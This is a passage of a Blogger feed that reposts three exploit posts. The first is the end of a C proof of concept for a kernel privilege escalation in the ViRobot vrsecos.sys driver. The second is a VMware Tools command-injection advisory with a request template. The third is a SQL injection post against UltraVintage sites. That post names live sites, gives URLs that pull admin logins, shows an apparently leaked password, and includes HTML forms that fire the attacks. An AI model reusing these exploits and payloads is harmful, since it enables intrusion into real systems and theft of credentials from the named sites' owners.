/&gt; &lt;br /&gt;" MJ0011                                                                         "&lt;br /&gt; &lt;br /&gt;" th_decoder$126.com                                                             "&lt;br /&gt; &lt;br /&gt;"                                                                                "&lt;br /&gt; &lt;br /&gt;" 2010-8-22                                                                      "&lt;br /&gt; &lt;br /&gt;"                                                                                "&lt;br /&gt; &lt;br /&gt;"                                                                                "&lt;br /&gt; &lt;br /&gt;"                                                                                ";&lt;br /&gt; &lt;br /&gt;VOID InbvShellCode()&lt;br /&gt;{&lt;br /&gt;//DISABLE INTERRUPT&lt;br /&gt;__asm&lt;br /&gt;{&lt;br /&gt;cli&lt;br /&gt;}&lt;br /&gt;//RESET TO VGA MODE&lt;br /&gt;InbvAcquireDisplayOwnership();&lt;br /&gt;InbvResetDisplay();&lt;br /&gt;//FILL FULL SCREEN&lt;br /&gt;InbvSolidColorFill(0 , 0 , 639 , 479 ,VGA_COLOR_BLACK);&lt;br /&gt;//SET TEXT COLOR&lt;br /&gt;InbvSetTextColor(VGA_COLOR_BRIGHT_GREEN);&lt;br /&gt;InbvInstallDisplayStringFilter(NULL);&lt;br /&gt;InbvEnableDisplayString(TRUE);&lt;br /&gt;InbvSetScrollRegion( 0 , 0 , 639 ,477);&lt;br /&gt;InbvDisplayString(DisplayString);&lt;br /&gt;while(TRUE)&lt;br /&gt;{&lt;br /&gt;};&lt;br /&gt;}&lt;br /&gt;BOOL InbvInit(PVOID ntosbase , PSTR ntosname)&lt;br /&gt;{&lt;br /&gt;HMODULE hlib = LoadLibrary(ntosname);&lt;br /&gt;if (hlib == NULL)&lt;br /&gt;{&lt;br /&gt;return FALSE ;&lt;br /&gt;}&lt;br /&gt;InbvAcquireDisplayOwnership = (PINBV_ACQUIRE_DISPLAY_OWNERSHIP)((ULONG)GetProcAddress(hlib , "InbvAcquireDisplayOwnership") - (ULONG)hlib + (ULONG)ntosbase);&lt;br /&gt; &lt;br /&gt;InbvResetDisplay = (PINBV_RESET_DISPLAY)((ULONG)GetProcAddress(hlib , "InbvResetDisplay") - (ULONG)hlib + (ULONG)ntosbase);&lt;br /&gt; &lt;br /&gt;InbvSolidColorFill = (PINBV_SOLID_COLOR_FILL)((ULONG)GetProcAddress(hlib , "InbvSolidColorFill") - (ULONG)hlib + (ULONG)ntosbase);&lt;br /&gt; &lt;br /&gt;InbvSetTextColor = (PINBV_SET_TEXT_COLOR)((ULONG)GetProcAddress(hlib , "InbvSetTextColor") - (ULONG)hlib + (ULONG)ntosbase);&lt;br /&gt; &lt;br /&gt;InbvInstallDisplayStringFilter = (PINBV_INSTALL_DISPLAY_STRING_FILTER)((ULONG)GetProcAddress(hlib , "InbvInstallDisplayStringFilter") - (ULONG)hlib + (ULONG)ntosbase);&lt;br /&gt; &lt;br /&gt;InbvEnableDisplayString = (PINBV_ENABLE_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvEnableDisplayString") - (ULONG)hlib + (ULONG)ntosbase);&lt;br /&gt; &lt;br /&gt;InbvSetScrollRegion = (PINVB_SET_SCROLL_REGION)((ULONG)GetProcAddress(hlib , "InbvSetScrollRegion") - (ULONG)hlib + (ULONG)ntosbase);&lt;br /&gt; &lt;br /&gt;InbvDisplayString = (PINBV_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvDisplayString") - (ULONG)hlib + (ULONG)ntosbase);&lt;br /&gt; &lt;br /&gt;if (InbvAcquireDisplayOwnership &amp;amp;&amp;amp;&lt;br /&gt;InbvResetDisplay &amp;amp;&amp;amp;&lt;br /&gt;InbvSolidColorFill &amp;amp;&amp;amp;&lt;br /&gt;InbvSetTextColor &amp;amp;&amp;amp;&lt;br /&gt;InbvInstallDisplayStringFilter &amp;amp;&amp;amp;&lt;br /&gt;InbvEnableDisplayString &amp;amp;&amp;amp;&lt;br /&gt;InbvSetScrollRegion &amp;amp;&amp;amp;&lt;br /&gt;InbvDisplayString)&lt;br /&gt;{&lt;br /&gt;return TRUE ;&lt;br /&gt;}&lt;br /&gt;return FALSE ;&lt;br /&gt;}&lt;br /&gt;int main(int argc, char* argv[])&lt;br /&gt;{&lt;br /&gt;printf("ViRotbot Desktop 5.5 &amp;amp; ViRobot Server 3.5 vrsecos.sys &amp;lt;= 2008.8.1.1\n"&lt;br /&gt;"Local Kernel Mode Privilege Escalation Vulnerability POC\n\n"&lt;br /&gt;"This Exploit Code Only for vrsecos == 2008.8.1.1\n"&lt;br /&gt;"Test On Windows XP SP3\n\n"&lt;br /&gt;"By MJ0011 th_decoder$126.com\n\n"&lt;br /&gt;"Press Enter\n");&lt;br /&gt;getchar();&lt;br /&gt;HANDLE hDev = CreateFile("\\\\.\\VRsecos" , FILE_READ_ATTRIBUTES , FILE_SHARE_READ , 0 , OPEN_EXISTING , 0 , 0 );&lt;br /&gt; &lt;br /&gt;if (hDev == INVALID_HANDLE_VALUE)&lt;br /&gt;{&lt;br /&gt;printf("cannot open device....%u\n" , GetLastError());&lt;br /&gt;//return 0;&lt;br /&gt;}&lt;br /&gt;//data for IoControlCode = 8307202C , buffer overrun&lt;br /&gt;PVOID pdata = malloc(0x2000);&lt;br /&gt;//fill non-zero data&lt;br /&gt;memset(pdata , 0x20 , 0x2000);&lt;br /&gt;//process mutx ...&lt;br /&gt;PX_KMUTANT pmutant = (PX_KMUTANT)((ULONG)pdata + 0x858 + 200);&lt;br /&gt;HANDLE hthread = OpenThread(THREAD_ALL_ACCESS , FALSE , GetCurrentThreadId());&lt;br /&gt;PSYSTEM_HANDLE_INFORMATION phi = (PSYSTEM_HANDLE_INFORMATION)GetInfoTable(SystemHandleInformation);&lt;br /&gt; &lt;br /&gt;PSYSTEM_MODULE_INFORMATION pmi = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);&lt;br /&gt; &lt;br /&gt;//get base address of vrsecos.sys&lt;br /&gt;PVOID vrsecosbase = 0 ;&lt;br /&gt;ULONG i ;&lt;br /&gt;for (i = 0 ; i &amp;lt; pmi-&amp;gt;Count ; i ++)&lt;br /&gt;{&lt;br /&gt;if (stricmp((PCHAR)(pmi-&amp;gt;Module[i].ImageName + strlen(pmi-&amp;gt;Module[i].ImageName ) - strlen("vrsecos.sys")) ,&lt;br /&gt; &lt;br /&gt;"vrsecos.sys") == 0 )&lt;br /&gt;{&lt;br /&gt;vrsecosbase = pmi-&amp;gt;Module[i].Base;&lt;br /&gt;break ;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;if (vrsecosbase == 0 )&lt;br /&gt;{&lt;br /&gt;printf("cannot find vrsecos....\n");&lt;br /&gt;//return 0 ;&lt;br /&gt;}&lt;br /&gt;if (!InbvInit(pmi-&amp;gt;Module[0].Base , strrchr(pmi-&amp;gt;Module[0].ImageName , '\\')+1))&lt;br /&gt;{&lt;br /&gt;printf("cannot init inbv system\n");&lt;br /&gt;return 0 ;&lt;br /&gt;}&lt;br /&gt;//get thread object&lt;br /&gt;PVOID MyThreadOBJ = NULL ;&lt;br /&gt;for (i = 0 ;  i &amp;lt; phi-&amp;gt;NumberOfHandles ; i ++)&lt;br /&gt;{&lt;br /&gt;if (phi-&amp;gt;Information[i].HandleValue == (USHORT)hthread &amp;amp;&amp;amp;&lt;br /&gt;phi-&amp;gt;Information[i].UniqueProcessId == (USHORT)GetCurrentProcessId())&lt;br /&gt;{&lt;br /&gt;MyThreadOBJ = phi-&amp;gt;Information[i].Object;&lt;br /&gt;break ;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;if (MyThreadOBJ == NULL)&lt;br /&gt;{&lt;br /&gt;printf("cannot find my thread object\n");&lt;br /&gt;return 0 ;&lt;br /&gt;}&lt;br /&gt;//for KeWaitForSignleObject&lt;br /&gt;//KeWaitForSignleObject will check SignalState&lt;br /&gt;pmutant-&amp;gt;Header.SignalState = 0x30303030;&lt;br /&gt;pmutant-&amp;gt;MutantListEntry.Flink = (PLIST_ENTRY)((ULONG)vrsecosbase + 0x2db0 );&lt;br /&gt;pmutant-&amp;gt;MutantListEntry.Blink = (PLIST_ENTRY)((ULONG)vrsecosbase + 0x2db0) ;&lt;br /&gt;//for KeReleaseMutex , Mutant 's owner thread must be our thread when KeReleaseMutex&lt;br /&gt; &lt;br /&gt;pmutant-&amp;gt;OwnerThread = MyThreadOBJ;&lt;br /&gt;//for IOCTL CODE 0x83072014&lt;br /&gt;//spec NPAGED_LOOKASIDE_LIST List&lt;br /&gt;//&lt;br /&gt;// user address space&lt;br /&gt;PVOID pAlloc = VirtualAlloc((PVOID)0x0A0A0A0A , 0x1000 , MEM_RESERVE|MEM_COMMIT , PAGE_READWRITE);&lt;br /&gt; &lt;br /&gt;if (pAlloc == NULL)&lt;br /&gt;{&lt;br /&gt;printf("cannot allocate spec addr %u\n! ", GetLastError());&lt;br /&gt;return 0 ;&lt;br /&gt;}&lt;br /&gt;*(DWORD*)0x0a0a0101 = 0 ;&lt;br /&gt;// vrsecos+2d68 &amp;lt; vrsecos+2d64&lt;br /&gt;// and vrsecos+2d68 &amp;lt; 0&lt;br /&gt;*(DWORD*)((ULONG)pdata + 0x81c +200) = 0xc1c1c1c1 ;&lt;br /&gt;*(DWORD*)((ULONG)pdata + 0x820 + 200) = 0xc0c0c0c0 ;&lt;br /&gt;//fill NPAGED_LOOKASIDE_LIST&lt;br /&gt;*(DWORD*)((ULONG)pdata + 0xdd8 + 200) = 0x0a0a0101;&lt;br /&gt;*(DWORD*)((ULONG)pdata + 0xddc +200 ) = 0x01010101 ;&lt;br /&gt;//fill NPAGE_LOOKASIDE_LIST-&amp;gt;AllocateRoutine&lt;br /&gt;//is our R0 Shell Code !!!&lt;br /&gt;*(DWORD*)((ULONG)pdata + 0xdd8 + 0x28 +200 ) = (DWORD)InbvShellCode;&lt;br /&gt;ULONG btr ;&lt;br /&gt;ULONG temp;&lt;br /&gt;//memory overflow!!&lt;br /&gt;if (!DeviceIoControl(hDev , 0x8307202c , pdata , 0x1000 , NULL , 0 , &amp;amp;btr , NULL ))&lt;br /&gt; &lt;br /&gt;{&lt;br /&gt;printf("dev ctl 1 failed %u\n", GetLastError());&lt;br /&gt;return 0 ;&lt;br /&gt;}&lt;br /&gt;PVOID pdata2 = malloc(0x6d4);&lt;br /&gt;*(DWORD*)pdata2 = 1;&lt;br /&gt;*(ULONG*)((ULONG)pdata2 + 8 ) = 0 ;&lt;br /&gt;strcpy((PCHAR)((ULONG)pdata2 + 264) , "exploit you !");&lt;br /&gt;strcpy((PCHAR)((ULONG)pdata2 + 464) , "exploit you !!");&lt;br /&gt;//first time , NPAGED_LOOKASIDE_LIST got ZERO !!&lt;br /&gt;if (!DeviceIoControl(hDev , 0x83072014 , pdata2 , 1748 , &amp;amp;temp , 4 , &amp;amp;btr , 0 ))&lt;br /&gt;{&lt;br /&gt;printf("dev ctrl 2 failed %u\n", GetLastError());&lt;br /&gt;return 0 ;&lt;br /&gt;}&lt;br /&gt;//second time , go NPAGED_LOOKASIDE_LIST-&amp;gt;AllocateRoutine!!&lt;br /&gt;if (!DeviceIoControl(hDev , 0x83072014 , pdata2 , 1748 , &amp;amp;temp , 4 , &amp;amp;btr , 0 ))&lt;br /&gt;{&lt;br /&gt;printf("dev ctrl 2 failed %u\n", GetLastError());&lt;br /&gt;return 0 ;&lt;br /&gt;}&lt;br /&gt;return 0 ;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;# oz return&lt;/span&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-4026917222829078714?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/4026917222829078714/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2010/12/virobot-desktop-55-and-server-35.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/4026917222829078714'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/4026917222829078714'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2010/12/virobot-desktop-55-and-server-35.html' title='ViRobot Desktop 5.5 and Server 3.5 &lt;=2008.8.1.1 Privilege Escalation'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-1502955030822812931</id><published>2010-12-21T13:27:00.000+07:00</published><updated>2010-12-21T13:27:06.803+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/exploit'/><title type='text'>VMware Tools update OS Command Injection</title><content type='html'>&lt;pre&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;========================================&lt;br /&gt;VMware Tools update OS Command Injection&lt;br /&gt;========================================&lt;br /&gt;&lt;br /&gt;1. Advisory Information&lt;br /&gt;Advisory ID: BONSAI-2010-0110&lt;br /&gt;Date published: Thu Dec 9, 2010&lt;br /&gt;Vendors contacted: VMware&lt;br /&gt;Release mode: Coordinated release&lt;br /&gt; &lt;br /&gt;2. Vulnerability Information&lt;br /&gt;Class: Injection&lt;br /&gt;Remotely Exploitable: Yes&lt;br /&gt;Locally Exploitable: Yes&lt;br /&gt;CVE Name: CVE-2010-4297&lt;br /&gt; &lt;br /&gt;3. Software Description&lt;br /&gt;VMware Tools is a suite of utilities that enhances the performance of&lt;br /&gt;the virtual machine's guest operating system and improves management of&lt;br /&gt;the virtual machine. Without VMware Tools installed in your guest&lt;br /&gt;operating system, guest performance lacks important functionality.&lt;br /&gt;Installing VMware Tools eliminates or improves the following issues:&lt;br /&gt; &lt;br /&gt;    * low video resolution&lt;br /&gt;    * inadequate color depth&lt;br /&gt;    * incorrect display of network speed&lt;br /&gt;    * restricted movement of the mouse&lt;br /&gt;    * inability to copy and paste and drag-and-drop files&lt;br /&gt;    * missing sound&lt;br /&gt; &lt;br /&gt;VMware Tools includes these components:&lt;br /&gt; &lt;br /&gt;    * VMware Tools service&lt;br /&gt;    * VMware device drivers&lt;br /&gt;    * VMware user process&lt;br /&gt;    * VMware Tools control panel&lt;br /&gt; &lt;br /&gt;VMware Tools is provided in the following formats:&lt;br /&gt; &lt;br /&gt;    * ISOs (contain .tar and .rpm files) – packaged with the product and&lt;br /&gt;are installed in a number of ways, depending upon the VMware product and&lt;br /&gt;the guest operating system installed in the virtual machine. VMware&lt;br /&gt;Tools provides a different ISO file for each type of supported guest&lt;br /&gt;operating system: Windows, Linux, NetWare, Solaris, and FreeBSD.&lt;br /&gt;    * Operating System Specific Packages (OSPs) – downloaded and&lt;br /&gt;installed from the command line. VMware Tools is available as separate&lt;br /&gt;downloadable, light-weight packages that are specific to each supported&lt;br /&gt;Linux operating system and VMware product. OSPs are an alternative to&lt;br /&gt;the existing mechanism for installing VMware Tools and only support&lt;br /&gt;Linux systems running on ESX.&lt;br /&gt; &lt;br /&gt;4. Vulnerability Description&lt;br /&gt;Injection flaws, such as SQL, OS, and LDAP injection, occur when&lt;br /&gt;untrusted data is sent to an interpreter as part of a command or query.&lt;br /&gt;The attacker’s hostile data can trick the interpreter into executing&lt;br /&gt;unintended commands or accessing unauthorized data.&lt;br /&gt; &lt;br /&gt;5. Vulnerable packages&lt;br /&gt;Column 4 of the following table lists the action required to remediate&lt;br /&gt;the vulnerability in each release, if a solution is available:&lt;br /&gt;VMWare Product  Product Version Running On  Replace with / Apply Patch&lt;br /&gt;VirtualCenter   any Windows not affected&lt;br /&gt;Workstation 7.X any 7.1.2 Build 301548 or later&lt;br /&gt;Workstation 6.5.X   any 6.5.5 Build 328052 or later&lt;br /&gt;Player  3.1.X   any 3.1.2 Build 301548 or later&lt;br /&gt;Player  2.5.X   any 2.5.5 Build 328052 or later&lt;br /&gt;AMS any any not affected&lt;br /&gt;Server  2.0.2   any affected, no patch planned&lt;br /&gt;Fusion  3.1.X   Mac OSX 3.1.2 Build 332101&lt;br /&gt;Fusion  2.X Mac OSX 2.0.8 Build 328035&lt;br /&gt;ESXi    4.1 ESXi    ESXi410-201010402-BG&lt;br /&gt;ESXi    4.0 ESXi    ESXi400-201009402-BG&lt;br /&gt;ESXi    3.5 ESXi    ESXe350-201008402-T-BG **&lt;br /&gt;ESX 4.1 ESX ESX410-201010405-BG&lt;br /&gt;ESX 4.0 ESX ESX400-201009401-SG&lt;br /&gt;ESX 3.5 ESX ESX350-201008409-BG **&lt;br /&gt;ESX 3.0.3   ESX not affected&lt;br /&gt; &lt;br /&gt;  * hosted products are VMware Workstation, Player, ACE, Fusion.&lt;br /&gt;  ** Non Windows-based guest systems on ESXi 3.5 and ESX 3.5 only:&lt;br /&gt;     - Install the relevant ESX patch.&lt;br /&gt;     - Manually upgrade tools in the virtual machine (virtual machine&lt;br /&gt;users will not be prompted to upgrade tools).  Note the VI Client may&lt;br /&gt;not show that the VMware tools is out of date in th summary tab.&lt;br /&gt;Full VMWare advisory could be found at:&lt;br /&gt;http://www.vmware.com/security/advisories/VMSA-2010-0018.html&lt;br /&gt; &lt;br /&gt;6. Non-vulnerable packages&lt;br /&gt;See above table.&lt;br /&gt; &lt;br /&gt;7. Credits&lt;br /&gt;This vulnerability was discovered by Nahuel Grisolia ( nahuel -at-&lt;br /&gt;bonsai-sec.com ).&lt;br /&gt; &lt;br /&gt;8. Technical Description&lt;br /&gt;8.1. OS Command Injection – PoC Example&lt;br /&gt;CVSSv2 Score: 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)&lt;br /&gt;VMware Server Infrastructure Web Access is prone to remote command&lt;br /&gt;execution vulnerability because the software fails to adequately&lt;br /&gt;sanitize user-supplied input.&lt;br /&gt;When Updating the VMTools on a certain Guest Virtual Machine, a command&lt;br /&gt;injection attack can be executed if specially crafted parameters are sent.&lt;br /&gt;Successful attacks can compromise the affected Guest Virtual Machine&lt;br /&gt;with root privileges.&lt;br /&gt;The following proof of concept is given. It was exploited in a GNU/Linux&lt;br /&gt;Guest with VMware Tools installed but not fully updated:&lt;br /&gt;POST /ui/sb HTTP/1.1&lt;br /&gt;[…]&lt;br /&gt;Cookie: JSESSIONID=F78CCA7DD3CF4E2E82587B236660C9ED; user_name=vmuser;&lt;br /&gt;l=http%3A%2F%2Flocalhost%3A80%2Fsdk&lt;br /&gt;[…]&lt;br /&gt;[{i:"378",exec:"/cmd/vm",args:["UpgradeTools_Task",{_i:"VirtualMachine|960"},";&lt;br /&gt;INJECTED COMMAND HERE ;"]}]&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;9. Report Timeline&lt;br /&gt;• 2010-04-24 / Vulnerabilities were identified&lt;br /&gt;• 2010-04-29 – 2010-12-02 / Multiple Contacts with Vendor&lt;br /&gt;• 2010-12-09 / Vulnerability is Disclosed – PoC attached&lt;br /&gt; &lt;br /&gt;10. About Bonsai&lt;br /&gt;Bonsai is a company involved in providing professional computer&lt;br /&gt;information security services. Currently a sound growth company, since&lt;br /&gt;its foundation in early 2009 in Buenos Aires, Argentina, we are fully&lt;br /&gt;committed to quality service and focused on our customers’ real needs.&lt;br /&gt; &lt;br /&gt;11. Disclaimer&lt;br /&gt;The contents of this advisory are copyright (c) 2010 Bonsai Information&lt;br /&gt;Security, and may be distributed freely provided that no fee is charged&lt;br /&gt;for this distribution and proper credit is given.&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;# oz website&lt;/span&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-1502955030822812931?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/1502955030822812931/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2010/12/vmware-tools-update-os-command.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/1502955030822812931'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/1502955030822812931'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2010/12/vmware-tools-update-os-command.html' title='VMware Tools update OS Command Injection'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-3968103681859213489</id><published>2010-12-21T13:21:00.000+07:00</published><updated>2010-12-21T13:21:30.620+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/exploit'/><title type='text'>UltraVintage &lt;= Remote Multiple SQL Injection Exploits</title><content type='html'>&lt;pre&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;======================================================&lt;br /&gt;UltraVintage &amp;lt;= Remote Multiple SQL Injection Exploits&lt;br /&gt;======================================================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1&lt;br /&gt;3                                                                      3&lt;br /&gt;3             _     __       __    ________     __  __                 3&lt;br /&gt;7           /' \  /'__`\   /'__`\ /\_____  \   /\ \/\ \                7&lt;br /&gt;1          /\_, \/\_\L\ \ /\_\L\ \\/___//'/'   \_\ \ \ \____           1&lt;br /&gt;3          \/_/\ \/_/_\_&amp;lt;_\/_/_\_&amp;lt;_   /' /'    /'_` \ \ '__`\          3&lt;br /&gt;3             \ \ \/\ \L\ \ /\ \L\ \ /' /'    /\ \L\ \ \ \L\ \         3&lt;br /&gt;7              \ \_\ \____/ \ \____//\_/      \ \___,_\ \_,__/         7&lt;br /&gt;1               \/_/\/___/   \/___/ \//        \/__,_ /\/___/          1&lt;br /&gt;3              &amp;gt;&amp;gt; Exploit database separated by exploit                3&lt;br /&gt;3                     type (local, remote, DoS, etc.)                  3&lt;br /&gt;7                                                                      7&lt;br /&gt;1          [+] Site            : 1337db.com                            1&lt;br /&gt;3          [+] Support e-mail  : submit[at]1337db.com                  3&lt;br /&gt;3                                                                      3&lt;br /&gt;7               ############################################           7&lt;br /&gt;1               I'm KnocKout 1337 Member from 1337 DataBase            1&lt;br /&gt;3               ############################################           3&lt;br /&gt;3                                                                      3                                            &lt;br /&gt;7-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-7&lt;br /&gt;~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;[+] Author : KnocKout&lt;br /&gt;[~] Contact : knockoutr@msn.com&lt;br /&gt;[~] HomePage : http://h4x0resec.blogspot.com&lt;br /&gt;[~] Reference : http://h4x0resec.blogspot.com&lt;br /&gt;[~] Special Thanks : DaiMon,BARCOD3 and H4X0RE SECURITY&lt;br /&gt;##############################################################&lt;br /&gt;exploit(lamer)-DB.com FUCK YOUR N00B LAMERS!!!&lt;br /&gt;&lt;br /&gt;Kralınız gelsin. mua:) siksqlZkırev..&lt;br /&gt;############################################################&lt;br /&gt;~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;|~Web App. : UltraVintage&lt;br /&gt;|~Price : N/A&lt;br /&gt;|~Version : N/A&lt;br /&gt;|~Software: http://www.ultravintage.com/&lt;br /&gt;|~Vulnerability Style : SQL Injection &amp;amp; based&lt;br /&gt;|~Vulnerability Dir : /&lt;br /&gt;|~sqL : MysqL &lt;br /&gt;|~Google Keyword :  "Powered by UltraVintage"&lt;br /&gt;|[~]Date : "19.12.2010"&lt;br /&gt;|[~]Tested on : (L):Vista (R):Apache/2.2.3 (CentOS) PHP/5.2.6 MYSQL DEMOS&lt;br /&gt;~~~~~~~~~~~~~~~~[~]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;Demos:&lt;br /&gt;http://www.pioneerhi-bred.gr/&lt;br /&gt;http://www.cottonbest.eu&lt;br /&gt;http://www.fcfantasy.com&lt;br /&gt;http://www.sunrisepv.gr&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;    ===============================================================&lt;br /&gt;    |{~~~~~~~~ Explotation| main.php SQL Injection~~~~~~~~~~~}|&lt;br /&gt;    &lt;br /&gt;    http://$localhost/$path/details.php?id=1 { SQL Injection}&lt;br /&gt;    &lt;br /&gt;    Ex; http://www.pioneerhi-bred.gr&lt;br /&gt;    &lt;br /&gt;    [~] SQL Injecting&lt;br /&gt;    http://www.pioneerhi-bred.gr/main.php?id=1%20union%20select%201,concat%28loginname,0x3a,password%29,3,4,5%20from%20phplist_admin&lt;br /&gt;    [~] MySQL Writes : admin:pioneerhibred!23&lt;br /&gt;&lt;br /&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;POC Exploit&lt;br /&gt;    &lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;form &lt;br /&gt;action="http://www.pioneerhi-bred.gr/main.php?id=1%20union%20select%201,concat%28loginname,0x3a,password%29,3,4,5%20from%20phplist_admin" &lt;br /&gt;method="POST"&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" name="kieli" value="Click and SQL Injection for click Enter"&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;#######################################################################&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;    ===============================================================&lt;br /&gt;    |{~~~~~~~~ Explotation| main.php Based SQL Injection~~~~~~~~~~~}|&lt;br /&gt;    &lt;br /&gt;    http://$localhost/$path/details.php?id=1 {BASED SQL INJECTION}&lt;br /&gt;    &lt;br /&gt;    Ex; http://www.sunrisepv.gr&lt;br /&gt;&lt;br /&gt;   [~]SQL Injecting..&lt;br /&gt;   http://www.sunrisepv.gr/main.php?id=1%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20concat%280x7e,0x27,unhex%28hex%28database%28%29%29%29,0x27,0x7e%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1&lt;br /&gt;   [~]Mysql Writes : Duplicate entry '~'sunris___uvdb'~1' for key 1&lt;br /&gt;   [+]Database OK: 'sunris___uvdb'&lt;br /&gt;#######################################################################&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;POC Exploit&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;form &lt;br /&gt;action="http://www.sunrisepv.gr/main.php?id=1%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20concat%280x7e,0x27,unhex%28hex%28database%28%29%29%29,0x27,0x7e%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1" &lt;br /&gt;method="POST"&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" name="kieli" value="Click and SQL Injection for click Enter"&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;# still on oz ok !&lt;/span&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-3968103681859213489?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://juniaastri.co.tv' title='UltraVintage &lt;= Remote Multiple SQL Injection Exploits'/><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/3968103681859213489/comments/default' title='Post Comments'/><link rel='replies' type='text/html' 